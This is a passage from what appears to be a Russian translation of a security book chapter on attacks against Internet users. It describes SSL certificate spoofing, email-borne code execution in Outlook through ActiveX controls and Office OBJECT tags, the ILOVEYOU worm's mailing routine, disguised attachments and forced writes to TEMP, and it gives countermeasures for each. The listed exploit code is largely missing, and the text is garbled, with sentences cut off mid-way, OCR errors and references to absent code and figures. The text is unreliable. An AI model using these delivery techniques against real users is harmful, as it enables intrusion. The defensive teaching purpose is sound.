Обман SSL SSL — это протокол, используемый в настоящее время в большинстве транзакций, связанных с электронной коммерцией в Internet. В протоколе SSL реализован алгоритм шифрования по открытому ключу, который может отпугивать неискушенных пользователей, однако является важным понятием для того, кто занимается финансовыми операциями в современной экономике. Обход проверки сертификата SSL в Web-броузере В этом разделе вы узнаете о том, как можно ввести в заблуждение службу проверки подлинности сертификата SSL Web-узла, который был бы признан недействительным при обычной перекрестной проверке подлинности сертификата на основе сопоставления имени DNS и IP-адреса сервера на другом конце соединения. Такая проверка должна проводиться в соответствии со спецификацией SSL. Однако группа из Словении ACROS Security Team обнаружила изъян в Netscape Communicator до версии 4.73. После Контрмеры против обхода проверки сертификатов SSL Как упоминалось выше, обновление программы Communicator до версии 4.73 или выше позволит устранить описанную проблему. Тем, кто занимается разработкой различных дополнений к предыдущим версиям, компания Netscape предоставляет диспетчер PSM (Personal Security Manager). Эта программа выполняет шифрование по открытому ключу (подобно тому, которое используется в протоколе SSL) вместо Netscape Communicator 4.7 или других приложений.
щелкнув на маленькой пиктограмме с изображением замочка, расположенной в нижней части окна броузера. Эту же информацию можно получить, щелкнув на кнопке Security панели инструментов Netscape. В Internet Explorer для просмотра анапогичной информации следует сделать щелчок на пиктограмме с набольшим замочком или выбрать команду File=>Properties во время посещения страницы, защищенной протоколом SSL. На рис. 16.4 показан сертификат одного из популярных Web-узлов. |
Уязвимость почтовых приложений Представление большинства людей об Internet связано с наиболее заметной его частью, т.е. с World Wide Web. Однако объем ежедневно отправляемых электронных сообщений, по-видимому, превышает трафик Web. Таким образом, электронная почта является автономным эффективным средством, входящим в набор пользователя Internet, которое помогает ему комфортно чувствовать себя в киберпространстве. Интересен тот факт, что два чрезвычайно популярных протокола Internet, HTTP и SMTP, имеют много точек соприкосновения, что чрезвычайно увеличивает потенциальную опасность. Сообщения электронной почты в формате HTML — эффективное средство направленного взлома многих броузеров. Для подобных атак можно применять многие из ранее описанных методов, а возможно, и какие-то другие. Добавьте в электронные сообщения небольшого количества мобильного кода — и процесс проникновения в системы доверчивых пользователей станет во многом похож на детскую игру. Хотя в этом разделе речь идет исключительно об электронной почте, ясно, что описываемые приемы можно применить и к сообщениям групп новостей Internet. Такая тактика может привести даже к еще более массовым разрушениям, чем "спэм", при котором используются данные методы. |
Запуск произвольного кода с помощью электронной почты При описании следующих атак будут продемонстрированы различные механизмы запуска команд на целевом компьютере. Многие из них приводятся в действие при открытии коварных сообщений или их предварительном просмотре в соответствующей части окна программ Outlook и Outlook Express. Атаки с использованием элементов ActiveX, помеченных как "safe for scripting" Взломщики не могли выдумать ничего более убийственного: все, что нужно сделать жертве, — это просто прочитать сообщение (или просмотреть его в окне предварительного просмотра программ Outlook и Outlook Express, если такая возможность имеется). При этом со стороны пользователя не требуется никакого вмешательства. Эта чудовищная "простота" снова появилась благодаря элементу управления Scriptlet. typelib, помеченному как "safe for scripting" (более подробно этот вопрос обсуждается в разделе, посвященном элементам ActiveX). С такой же легкостью можно использовать Eyegod.ocx, но метод, рассматриваемый в данном разделе, основан на применении проверочного кода Георгия Гунински, в котором используется элемент управления Scriptlet. typelib. Напомним, что Георгий поместил этот код на своем Web-узле. Ниже приведена слегка модифицированная версия этого кода, вставленного в капсулу для взлома почты. helo somedomain.com Этот код проводит атаку в два этапа. Во-первых, он создает в папке Startup на компьютере пользователя файл приложения HTML (с расширением .НТА) и записывает в него содержимое сценария. Этот файл создается почти незаметно для пользователя, пока он просматривает сообщение (если внимательно следить за световым индикатором жесткого диска, то можно заметить его мерцание). Вот как выглядит наше тестовое сообщение в папке inbox (ниже на рисунке показано окно программы Outlook Express). Для завершения взлома достаточно отобразить сообщение в окне предварительного просмотра. Следующий этап произойдет, когда пользователь перезагрузит компьютер. Рано или поздно это неизбежно случится. Конечно же, можно написать такой сценарий, который сам выполнял бы перезагрузку. При этом запустится файл .НТА (данные файлы автоматически интерпретируются командной оболочкой Windows). В нашем случае пользователь получит следующее "приветственное" сообщение. Эти безобидные действия — одна из многих реализаций в безбрежном море возможностей. В подобной ситуации жертва полностью находится в руках взломщика. Контрмеры Примените модули обновления для компонентов ActiveX Scriptlet и Eyedog, которые можно получить по адресу http://www.microsoft.com/technet/security/ bulletin/ms99-032.asp. "Запуск" документов MS Office с помощью элементов ActiveX Георгий Гунински не ограничил свои изыскания использованием дескрипторов HTML в электронном сообщении для загрузки потенциально опасных элементов управления ActiveX. В последующих информационных сообщениях, опубликованных на его узле, сообщается, что с помощью этого же метода могут быть "запущены" и потенци-ачьно опасные документы Microsoft Office ("поведение" этих документов очень похоже на поведение элементов управления ActiveX). С результатами исследований можно ознакомиться по адресу http://www.nat.bg/-joro/sheetex-desc.html (для документов Excel и PowerPoint) и http://www.nat.bg/~joro/access-desc.html (здесь описывается процедура запуска кода VBA, содержащегося в базах данных Access). OBJECT data="db3.mdb" id="dl"></OBJECT> Как только программа Internet Explorer встречает дескриптор объекта, загружается база данных Access, имя которой задано в параметре data=, а затем для ее открытия вызывается программа Access. Это происходит перед тем, как пользователь получит предупреждение о потенциальной опасности, которая при этом может возникнуть. Таким образом, база данных будет запущена независимо от того, настроен IE/Outlook/ОЕ для запуска элементов управления ActiveX или нет. Ну и дела! helo some domain, corn В этом примере явно задан URL файла db3.mdb (строка 12), чтобы можно было использовать его в сообщении электронной почты. Институтом SANS было выдвинуто требование, чтобы при доступе и совместном использовании файлов Access через Internet применялся протокол SMB. Просто поразительно, сколько FTP-серверов предоставляет свои ресурсы для бесконтрольного размещения данных и доступа к ним. В следующих разделах указаны другие места хранения данных, которые могут заинтересовать взломщиков. Контрмеры: задание пароля администратора Ассеss Запрещение использования элементов управления ActiveX не предотвратит возможности реализации описанных атак. Поэтому нужно применить модуль обновления в соответствии с инструкциями, приведенными по адресу http://www.microsoft.com/-technet/security/bulletin/MS00-049.asp. Особое внимание следует обратить на модуль обновления, предназначенный специально для устранения проблемы, связанной с Access (компания Microsoft назвала ее изъяном "сценария IE" ("IE Script")). Запуск файлов с помощью ненулевого параметра CLSID элементов ActiveX Причиной выявления данного изъяна послужило вскользь сделанное замечание в дискуссии, которая велась в бюллетене Bugtraq по поводу уязвимости, обусловленной "навязыванием" файла вложения (см. ниже), которую предложили реализовать на узле malware. com. Велд Понд (Weld Pond), высококлассный хакер из группы LOpht, прославившийся благодаря утилите netcat для NT (см. главу 5), завел со своим коллегой Oil Dog из группы "Cult of Dead Cow", знаменитым автором программы Back Orifice 2000 (см. главы 4 и 14), разговор о механизме запуска файлов, навязанных пользователям по методике malware.com. Оказывается, можно запустить любой файл, поместив в тело электронного сообщения дескриптор OBJECT и сконфигурировав его с помощью ненулевого параметра CLSID. При этом в мишень превращается каждый исполняемый файл, находящийся на диске пользователя. Ниже приведен пример соответствующей капсулы для взлома электронной почты. helo somedomain.com Обратите внимание на ненулевой параметр CLSID. Именно он приводит в действие весь механизм. Файл, который будет запущен, задается параметром CODEBASE. Контрмеры против использования ненулевого параметра CLSID Основываясь на результатах тестирования, авторы утверждают, что установка соответствующего уровня безопасности зоны позволит устранить эту проблему (см. в предыдущих разделах описание зон безопасности). Переполнение буфера поля даты в программах Outlook и Outlook Express Возможно, кому-то из читателей показалось, что стержнем большинства типов атак являются элементы управления ActiveX. 18 июля 2000 года в бюллетене Bugtraq появилось сообщение об изъяне программ Outlook и Outlook Express совсем другого типа, не имеющем ничего общего с элементами ActiveX. Date: Tue, 18 July 2000 14:16:06 +<около 1000 байтхкод для запуска> В этой книге уже неоднократно упоминалось, что возможность запуска в системе произвольного кода открывает неограниченные возможности. Коварное сообщение позволяет незаметно установить программу типа "троянский конь". Через него могут распространяться "черви", а, кроме того, оно может дискредитировать целевую систему, запускать вложения — одним словом, делать практически все, что заблагорассудится. helo somedomain.com Группа Underground Security Systems Research (USSR, http://www.ussrback.com) также сообщила о том, что обнаружила эту брешь (по крайней мере, об этом заявил хакер Метатрон (Metatron)). Однако, по их утверждению, они не стали сообщать о ней публично, ожидая, пока Microsoft выпустит соответствующий модуль обновления. На базе этого изъяна группа USSR опубликовала свою реализацию, что вызвало интерес к их Web-узлу. Код запускается почти таким же образом, как и в предыдущем примере. Контрмеры против переполнения поля даты Согласно информационному сообщению компании Microsoft, которое можно найти на ее Web-узле по адресу http://www.microsoft.com/technet/
Если выполняется установка, отличная от установки по умолчанию, и во время этого процесса устанавливаются обновленные компоненты Outlook Express, то эта уязвимость также устраняется (при этом у пользователя будет возможность соответствующего выбора). |
"Черви", распространяющиеся через адресную книгу Outlook В течение нескольких последних лет XX века мошенники, избравшие своим инструментом компьютерные коды, организовывали за счет пользователей программ Outlook и Outlook Express буйную новогоднюю "вечеринку". Ими было выпущено целое полчище вирусов-червей, размножающихся по изящной технологии: осуществляя самостоятельно рассылку по каждому адресу, найденному в адресной книге жертвы, эти вирусы маскировались под сообщения, присланные из надежного источника. Это оригинальное применение методов соииа1ьной инженерии (см. главу 14) было ударом, который злой гений-изобретатель наносил наверняка. Корпорации, в которых работали десятки тысяч служащих, активно использующих Outlook, были вынуждены отказаться от применения почтовых служб, чтобы остановить поток сообщений, снующих туда-сюда от одного пользователя к другому, засоряя почтовые ящики и забивая до отказа дисковое пространство почтовых серверов. Согласитесь, тяжело удержаться от того> чтобы не открыть вложение, пришедшее от знакомого, которому вы доверяете. "Червь" ILOVEYOU Ниже приведена подпрограмма "червя" ILOVEYOU. написанная на языке VBScript. которая обеспечивает его распространение через электронную почту (некоторые строки были разделены вручную, чтобы уместить их на странице). sub spreadtoemail() Эта простая программа длиной в 37 строк обращается к интерфейсу MAPI, чтобы отыскать местоположение адресной книги Windows (WAB — Windows Address Book) в системном реестре. Затем она создает новое почтовое послание с темой I LOVE YOU и телом kindly check the attached LOVELETTER coming from me ("будьте так любезны, прочтите вложенное любовное письмо, пришедшее вместе с данным сообщением"), которое рассылается каждому найденному адресату. Если кто-нибудь из далеких от программирования читателей думает, что речь здесь идет о какой-нибудь сложной науке, то будет уместно напомнить, что принцип работы вируса ILOVEYOU основан на дипломной работе, написанной 23-летним студентом. Кто знает, какой еще ущерб мог бы быть нанесен? Как остановить "червей", распространяющихся через адресную книгу После нескольких лет критики в средствах массовой информации компания Microsoft устала обвинять пользователей в том, что они сами запускают вложения электронной почты, в которых содержатся вирусы-"черви", и выпустила соответствующий модуль обновления. Он называется Outlook 2000 SR-1 E-mail Security Update и Outlook 98 E-mail Security Update (http://officeupdate.microsoft.com/2000/downloadDetails/Out2ksec.hem и Out98sec .htm соответственно). Одной из особенностей этого модуля является наличие в нем механизма защиты модели объектов (Object Model Guard), который был разработан .для предупреждения пользователей о том, что внешней программой предпринята попытка получения доступа к их адресной книге Outlook или отправки сообщений от их имени. Компания Reliable Software Technologies Corporation (RSTCorp) выпустила дополнительную утилиту, предотвращающую обращения к Outlook определенного типа, поступающие от компонента Virtual Basic Scripting Engine. Таким образом можно предотвратить распространение вирусов, подобных 1EOVEYOU. Эту дополняющую программу, которая называется JustBeFriends.dll (JBF), можно использовать совместно с модулем обновления программы Outlook, который предлагается компанией Microsoft. В отличие от механизма OMG компании Microsoft, который контролирует доступ к функциям Outlook внутри самой программы, JBF контролирует возможность доступа к Outlook или Outlook Express со стороны других приложений. Если попытка доступа осуществляется с помощью сценария, запушенного с рабочего стола или из вложения, то утилита JBF предотвращает эту попытку. В противном случае пользователь должен подтвердить, что данному приложению разрешен доступ к Outlook. |
Атаки с использованием вложений Одной из наиболее удобных особенностей электронной почты является возможность вставки в сообщения файлов. Однако это удобство, позволяющее сэкономить время, имеет и очевидные отрицательные стороны, а именно: у пользователей появляется непреодолимая тяга запустить чуть ли не каждый файл, полученный по электронной почте. Кажется, никому не нужно напоминать, что это равносильно приглашению к себе в гостиную плохих парней. Взлом с использованием в качестве вложений файлов-оболочек Малоизвестным секретом системы Windows является то, что у файлов с расширением . SHS их реальное расширение по умолчанию скрыто в соответствии с параметром системного реестра HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt. Очевидно, что в этом не было бы ничего особенного, если бы эти файлы .SHS, также известные как объекты Shell Scrap Objects, не обладали возможностью запускать команды. Основанные на технологии Object Linking and Embedding (OLE), обсуждавшейся в разделе, посвященном элементам управления ActiveX, эти файлы являются, по существу, оболочками для других внедренных объектов. Такими объектами могут быть электронные таблицы Excel (большинство читателей знают, что их можно помещать в документы Word) или файлы другого типа. Самый простой способ создать такой файл — это поместить какой-либо файл в другое приложение, поддерживающее технологию OLE (например, Wordpad), а затем скопировать его пиктограмму в другую папку. Теперь файл, который мы вставляли, содержится в своем собственном файле-оболочке, имеет свою пиктограмму и уникальное расширение (SHS). При запуске файла SHS помещенный в него объект запускается вместе с ним. Более того, с помощью компонента Microsoft Object Packager с вложенным объектом можно связывать команды, что открывает новые возможности для тех, кто хоть немного знаком с DOS. Контрмеры против использования файлов. SHS На Web-узле PCHelp приведены некоторые замечательные советы по снижению риска от применения наиболее опасных свойств файлов . SHS. В число этих рекомендаций входят следующие.
Сокрытие расширения вложения с помощью пробелов 18 мая 2000 года Волкер Вес (Volker Werth) поместил в списке рассылки Incidents сообщение, в котором говорилось об одном методе отправки вложений в почтовых сообщениях. Особенность этого метода заключалась в остроумном способе маскировки имени присоединенного файла. Вставка в имя файла символов пробелов (%20) приводила к тому, что почтовые программы отображали только первые несколько символов имени файла. Например,
Контрмеры против сокрытия имени присоединенного файла Из приведенного рисунка видно, что файл вложения не является документом Word. На это указывает и троеточие (...)• Если этих признаков недостаточно, то вообще не стоит открывать файл вложения прямо из почтовой программы! В этом поможет модуль обновления Outlook SR-1 Security. После его установки пользователю придется принудительно сохранять на диске те файлы, которые могут нанести ущерб. Методы социальной инженерии, помогающие ввести пользователя в заблуждение и загрузить вложение Социальная инженерия — это действенный метод, помогающий убедить пользователя сохранить файл вложения на диске. Вам когда-нибудь встречалось сообщение со следующим текстом? Меры предосторожности против трюков с вложением Контролируйте свои действия и не совершайте необдуманных поступков. Перед тем как запустить сохраненные на диске вложения, проверяйте их на наличие вирусов с помощью специальных программ. Даже если в результате проверки не будет обнаружено ничего подозрительного, перед запуском нужно всерьез подумать о том, кто является автором сообщения. При этом помните, что такие вирусы-"черви", как ILOVEYOU, могут быть получены даже от самых близких друзей. |
Запись вложений на диск без участия пользователя До сих пор речь шла о различных механизмах запуска файлов, которые можно обманным путем поместить на удаленный диск пользователя. Описанные выше виды взлома были рассчитаны на определенные исполняемые файлы (расположенные либо на удаленном сервере, либо на диске пользователя), выполняющие свою грязную работу. А что, если взломщик имеет возможность записывать на диск выбранной жертвы свои файлы? Пользуясь этим, можно разработать завершенный способ доставки в систему пользователя и запуска в ней файлов, реализующих взлом. Перехват функции Save As программ Excel и PowerPoint Фокус, лежащий в основе этого взлома, был придуман Георгием Гунински, который остроумно воспользовался функцией SaveAs программ Excel и PowerPoint. Как только документ Office с помощью дескриптора OBJECT вызывается в программе Internet Explorer (об этом уже упоминалось выше), появляется возможность сохранить данные в произвольном месте диска. В своей реализации этой идеи Георгий сохраняет данные, извлеченные из файла Bookl.xi.r-. Он является обычным файлом в формате Excel с расширением .xla. Если такой файл поместить в папку Startup, то во время загрузки системы он будет запущен. helo somedomain.com Написанный Георгием код расположен между дескрипторами <object> и </SCRlPT>. Изменения внесены таким образом, чтобы указать полный адрес URL файла Bookl.xla (в первоначальной реализации этот файл был доступен непосредственно на Web-сервере). Содержимое Bookl.xla записывается в файл, указанный в строке fn=. Из исходного кода Георгия удалены также строки комментариев, в которых указано, как сохранить этот файл (предполагается, что об этом нетрудно догадаться). Просмотр этого сообщения в программе Outlook Express системы NT4 с зоной, для которой задан уровень безопасности Low, приведет к неожиданному появлению на короткое время окна передачи файла, вслед за которым появится следующее сообщение. Здесь авторы в качестве материала воспользовались уже готовым файлом Георгия Bookl.xla. Этот файл абсолютно безобиден. В нем содержится код длиной в пару строк, который при запуске выводит в окне DOS сообщение Hello World. Однако ввиду увеличения числа серверов, предоставляющих услуги по анонимному хранению файлов, хакеру-злоумышленнику будет совсем несложно создать свой собственный документ Office и обеспечить его загрузку. Готовой базой для размещения таких файлов также могут быть плохо настроенные или взломанные серверы FTP. Меры предосторожности против записи файлов с помощью программ Excel и PowerPoint Стоит ли повторять еще раз? Воспользуйтесь соответствующими модулями обновления, которые можно найти на Web-узле по адресу http://www.microsoft.com/ technet/security/bulletin/MS00-049. asp. Установка этих модулей обновления приведет к тому, что документы Excel и PowerPoint будут помечены как "unsafe for scripting" (пожалуйста, не торопитесь смеяться). Конечно, можно совсем запретить использование элементов управления ActiveX, как описано в разделе, посвященном зонам безопасности, тем самым раз и навсегда закупорив эту злосчастную брешь. Вложения с принудительной загрузкой Для описанного на Web-узле http://4-ww.malware.com способа загрузки файла на диск пользователя без его разрешения на этом же узле было предложено название принудительная загрузка (force feeding). Сущность данного подхода состоит в том, что, как утверждают специалисты, Outlook/OE игнорирует ответ пользователя на вопрос о том, что делать с файлом вложения электронного сообщения. Обычно, когда присоединенный файл запускается из почтовой программы, пользователю предоставляется три варианта действий: Open, Save To Disk или Cancel. Согласно утверждению, приведенному на узле malware.com, независимо от выбора пользователя вложение будет записано в каталог Windows %temp% (С: \Windows\temp — в Win 9x и С: \temp — в NT). Временные каталоги в Win 2000 настраиваются по усмотрению пользователя, поэтому, если эта система устанавливалась "с нуля", а не поверх предыдущих версий, определить их местоположение сложнее. Поместив требуемые файлы в систему пользователя, их можно запустить с помощью специального дескриптора HTTP. При этом броузеру скрытно и автоматически будет передана страница, указанная в дескрипторе. Например, <МЕТА HTTP-EQUIV="refresh" Этот код, помещенный на Web-страницу, перенаправит броузер на Web-узел www.othersite.com. Параметр context= задает интервал ожидания, по истечении которого броузером будет выполнен заданный переход. Для принудительной загрузки операторы узла malware.com выбрали один из их локальных файлов и поместили его адрес в дескриптор. Запись вложения в каталог TEMP с помощью дескриптора I FRAME Данный метод, который в 2000 году был опубликован Георгием в девятом номере его информационного бюллетеня , продемонстрировал дальновидность его автора, которому удалось умело воспользоваться, казалось бы, незначительными проблемами. Предложенный подход основан на том, что программы Outlook и Outlook Express создают в каталоге TEMP файлы с известным именем и произвольным содержимым, что очень похоже на механизм, созданный на узле malware.com. Однако, использовав другие свои разработки, в число которых входит использование изъяна, позволяющего запускать ярлыки файлов справочной системы Windows , и дескрипторы IFRAME, Георгий разработал, по-видимому, непревзойденный непротиворечивый механизм доставки кода и его последующего запуска. Поэтому авторы присвоили этому методу степень риска, равную восьми, т.е. наивысшую среди рассматриваемых. Он гораздо ближе других алгоритмов подошел к тому, чтобы стать целостным пакетом, предоставляя возможность записи файла на диск и запуска этого файла без необходимости какого-либо вмешательства пользователя. helo somedoir.ain.com В процессе тестирования, выполненного авторами на программах Outlook и Outlook Express, установленных в системах Windows 9x, NT и 2000, этот метод работал безотказно, чаще всего в режиме предварительного просмотра. Строки, которые начинаются с setTimeout, задают каталог каждой из трех операционных систем. Сможете ли вы установить между ними соответствие? Контрмеры против использования дескрипторах FRAME Единственной защитой против атак такого рода является осторожное обращение с элементами управления ActiveX, как упоминалось в разделе, посвященном зонам безопасности. О выпуске соответствующего модуля обновления компания Microsoft не позаботилась. |
Уязвимость службы IRC Internet Relay Chat (IRC) является одним из наиболее популярных приложений Internet. Эта программа привлекает пользователей не только тем, что они могут общаться в реальном времени, но и возможностью без задержки обмениваться файлами с помощью самых современных клиентских программ IRC (авторы отдают предпочтение mIRC). Вот здесь-то и начинаются проблемы. Взлом DCC Интересная дискуссия по поводу описываемой в данном разделе атаки завязалась в списке рассылки Incidents на Web-узле http://www.securityfocus.com (обзор за 10-11 июля 2000 года, №2000-131). Вот поучительная история: любопытному пользователю предложили получить файл по прямому каналу DCC (DCC — direct client to client) (в службе IRC используются методы под названием DCC Send и DCC Get, предназначенные для установки прямого соединения с другим клиентом IRC и передачи/приема файлов с использованием этого соединения, а не сети IRC). Файл назывался LIFE_STAGES.TXT. (Где же он нам встречался? Загляните-ка в один из предыдущих разделов, в котором описываются вложения файлов . SHS Windows.). Ясно, что это была либо очевидная попытка причинить вред, либо автоматизированная атака, выполняемая с использованием взломанного клиента IRC без ведома его хозяина. Контрмеры К счастью, большинство клиентов IRC по умолчанию загружают файлы, передаваемые по DCC, в заданный пользователем каталог. После получения файла пользователь должен зайти в этот каталог и запустить файл вручную. |
Взлом Napster с помощью программы Wrapster
Хотя авторы и не считают, что приложения Napster и Wrapster в настоящее время представляют большую угрозу для безопасности, они полагают, что оба программных продукта в значительной мере обладают отличительными особенностями программ, имеющих отношение к хакингу. Именно поэтому о них следует упомянуть в данной книге. Те читатели, кто знает, о чем пойдет речь в этом разделе, могут сразу перейти к следующему. А тем, кто ничего не слышал хотя бы об одной из этих программ, стоит с ними познакомиться. Всем, независимо от отношения к проблемам интеллектуальной собственности и авторского права, будет полезно узнать о необычайном удобстве, богатстве выбора и настоящем удовольствии, предоставляемом программой Napster. Еще один пример программного продукта, по вине которого могут возникнуть проблемы нарушения безопасности, вызванные сочетанием его мощи и популярности, — революционное изобретение для сетевого обмена файлами компании Napster (http://www. napster.com). Пакет Napster представляет собой разновидность типичного средства обмена файлами на платформе клиент/сервер. При этом сервер функционирует в качестве централизованного индексного указателя аудиофайлов в формате МРЗ, которые хранятся на жестких дисках всех пользователей, подсоединившихся к сети с помощью клиентской программы Napster. В индексном указателе пользователи могут выполнять поиск МРЗ-файлов. которые они хотят загрузить, а сервер соединяет их клиентскую программу непосредственно с тем пользователем, на диске которого хранятся требуемые файлы. Таким образом, все пользователи, желающие принять участие в обмене, должны выделить какой-то участок своего жесткого диска и предоставить остальным право чтения/записи. Появились сведения о том, что различные клоны пакета Napster, распространяющиеся через открытые источники, обладают изъяном. Он позволяет взломщикам просматривать файлы на том компьютере, на котором запущена уязвимая клиентская программа Napster (в официальных коммерческих версиях этот изъян отсутствует). |
Глобальные контрмеры против атак на пользователей Internet В этой главе приведено множество опасных атак на пользователей Internet. Многие из описанных приемов направлены на то. чтобы обманным путем принудить пользователя запустить вирус, "червь" или другой опасный код. Кроме того, были представлены многие частные решения подобных проблем. Теперь пришло время познакомиться с общими методами зашиты против подобных атак. |
Постоянно обновляйте антивирусные базы данных Конечно, такое средство защиты, как антивирусные программы, существует и повсеместно используется уже давно. Тот. кто не применяет их для обеспечения безопасности своей системы, подвергает себя большому риску. Подобное программное обеспечение можно приобрести у многих разработчиков. Известные антивирусные пакеты (такие как Norton Antivirus компании Symantec, McAfee, Data Fellows, Trend Micro. Inoculan/InoculateIT компании Computer Associates и другие) соревнуются между собой, стараясь обеспечить наиболее полную защиту от злонамеренного кода. |
Защита шлюзов Надежная стратегия защиты на уровне сети является наиболее эффективным способом защиты большого количества пользователей. В качестве средства для решения многих описанных в этой главе проблем, конечно же, следует выбрать брандмауэр. Особое внимание нужно уделять спискам управления доступом из глобальной сети, которые могут стать мощной преградой для коварного кода, пытающегося проникнуть на плохо настроенные внутренние серверы. |
Резюме После написания этой главы нам хотелось бы облегченно вздохнуть и снова на несколько лет окунуться в дальнейшие исследования методов хакинга пользователей Internet. На самом деле за рамками книги осталось еше много материала на эту тему. Описать все разнообразие проверенных и непроверенных атак, применяемых против обычного клиентского программного обеспечения, оказалось непростым делом. Наряду с десятками остроумных подходов, разработанных такими яркими личностями, как Георгий Гунински, в окончательный вариант книги не попали многие вопросы, касающиеся взлома Web-серверов, предоставляющих услуги электронной почты (Hotmail), хакинга пользователей службы AOL, взлома линий связи с модулированной передачей данных в Internet и получения личных данных клиентов. Конечно, перед сообществом Internet еще долгие годы будут стоять все эти проблемы, а в будущем появятся новые, которые пока что даже трудно представить. Ниже приведены некоторые рекомендации, следуя которым, пользователи смогут обеспечить наиболее высокий уровень безопасности, который возможен на сегодняшний день.
|